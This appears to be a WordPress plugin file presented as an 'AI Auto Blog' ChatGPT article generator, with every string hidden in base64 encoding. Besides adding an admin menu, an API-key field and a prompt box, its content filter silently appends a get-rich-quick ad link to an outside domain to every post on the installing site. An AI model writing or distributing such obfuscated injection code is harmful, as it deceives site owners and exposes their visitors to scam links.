PHP Decode

<?  add_filter(base64_decode('dXNlX2Jsb2NrX2VkaXRvcl9mb3JfcG9zdA=='),base64_decode('X19yZXR1cm5fZmFsc2U='),10);add_action(base64_decode('YWRtaW5fbWVudQ=='),base64_decode('YWlfYXV0b2Jsb2dfbWVudQ=='));function ai_autoblog_menu(){add_menu_page(base64_decode('QUkgQXV0byBCbG9n'),base64_decode('QUkgQXV0byBCbG9n'),base64_decode('ZWRpdF9wb3N0cw=='),base64_decode('Y29uZmlnX2FpX2F1dG9ibG9n'),base64_decode('Y2JfY29uZmlnX2FpX2F1dG9ibG9n'),base64_decode('ZGFzaGljb25zLXRyYW5zbGF0aW9u'));}function cb_config_ai_autoblog(){echo base64_decode('PGgyPkNvbmZpZyBBSSBBdXRvIEJsb2c8L2gyPg==');echo base64_decode('SG93IHRvIHVzZSA/IDxicj4gPGEgaHJlZj0naHR0cHM6Ly92aW1lby5jb20vOTI1MDc0MzU3P3NoYXJlPWNvcHknPkNsaWNrIGhlcmU8L2E+PGJyPg==');echo base64_decode('Q29udGFjdCBtZSB2aWEgdGVsZWdyYW0gQGh0dm4xMTcgZm9yIG5ldyB2ZXJzaW9ucw==');}add_action(base64_decode('YWRtaW5fZW5xdWV1ZV9zY3JpcHRz'),base64_decode('YWlhdXRvYmxvZ19wbHVnaW5fZW5xdWV1ZV9zY3JpcHRz'));function aiautoblog_plugin_enqueue_scripts(){wp_deregister_script(base64_decode('anF1ZXJ5'));wp_enqueue_script(base64_decode('anFy'),base64_decode('aHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy41LjEvanF1ZXJ5Lm1pbi5qcw=='),array(),base64_decode('My41LjE='),true);wp_enqueue_script(base64_decode('YWlhdGJsZy1zcmM='),plugins_url(base64_decode('L2pzL3Njci5qcw=='),__FILE__),array(base64_decode('anFy')));}add_action(base64_decode('bWVkaWFfYnV0dG9uc19jb250ZXh0'),base64_decode('Y3VzdG9tX2J1dHRvbg=='));function custom_button(){$f0=base64_decode('PGJyPjxpbnB1dCB0eXBlPSJhcGlfa2V5IiBpZD0iYXBpX2tleSIgcGxhY2Vob2xkZXI9IkNoYXRHUFQgQVBJIEtleSIgY2xhc3M9ImZvcm0taW5wdXQiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO3dpZHRoOiA3MCU7ZmxvYXQ6IGxlZnQ7Ij48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgaWQ9ImdlbmVyYXRlX2FydGljbGVfYnV0dG9uIiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0id2lkdGg6IDIwJTtmbG9hdDogcmlnaHQ7dmVydGljYWwtYWxpZ246IG1pZGRsZTsiPjxzdHJvbmc+R2VuZXJhdGUhITwvc3Ryb25nPjwvYnV0dG9uPjxkaXYgc3R5bGU9ImNsZWFyOmJvdGg7Ij48L2Rpdj48dGV4dGFyZWEgdHlwZT0idGV4dCIgaWQ9InByb21wdCIgcGxhY2Vob2xkZXI9IkZvciBleGFtcGxlOiB3cml0ZSBhIHBvc3QgKGh0bWwgZm9ybWF0KSBhYm91dCBoZWFsdGgiIGNsYXNzPSJmb3JtLWlucHV0IiByb3dzPSI1IiBzdHlsZT0id2lkdGg6IDEwMCU7bWFyZ2luLXRvcDogNXB4OyI+PC90ZXh0YXJlYT5Zb3Ugc2hvdWxkIGNoZWNrIHlvdXIgYmFsYW5jZSBvbiBBcGkgY2hhdGdwdCBiZWZvcmUgdXNpbmcgdGhpcyB0b29sLiA8YnI+aWIgbWUgdGVsZWdyYW0gQGh0dm4xMTcgZm9yIG5ldyB2ZXJzaW9uczxzdHlsZT4ud3AtbWVkaWEtYnV0dG9ucyB7d2lkdGg6IDEwMCUgIWltcG9ydGFudDt9PC9zdHlsZT4=');echo $f0;}function my_content_filter($d1){$b2=base64_decode('PHA+QWRzOiA8YSBocmVmPSJodHRwOi8vbXVhaGFuZ3RhaW5oYS54eXovIj5NYWtlIDEwMCQgYSBkYXkuQ2xpY2sgaGVyZSE8L2E+PC9wPg==');$d1=$d1.$b2;return $d1;}add_filter(base64_decode('dGhlX2NvbnRlbnQ='),base64_decode('bXlfY29udGVudF9maWx0ZXI='));?>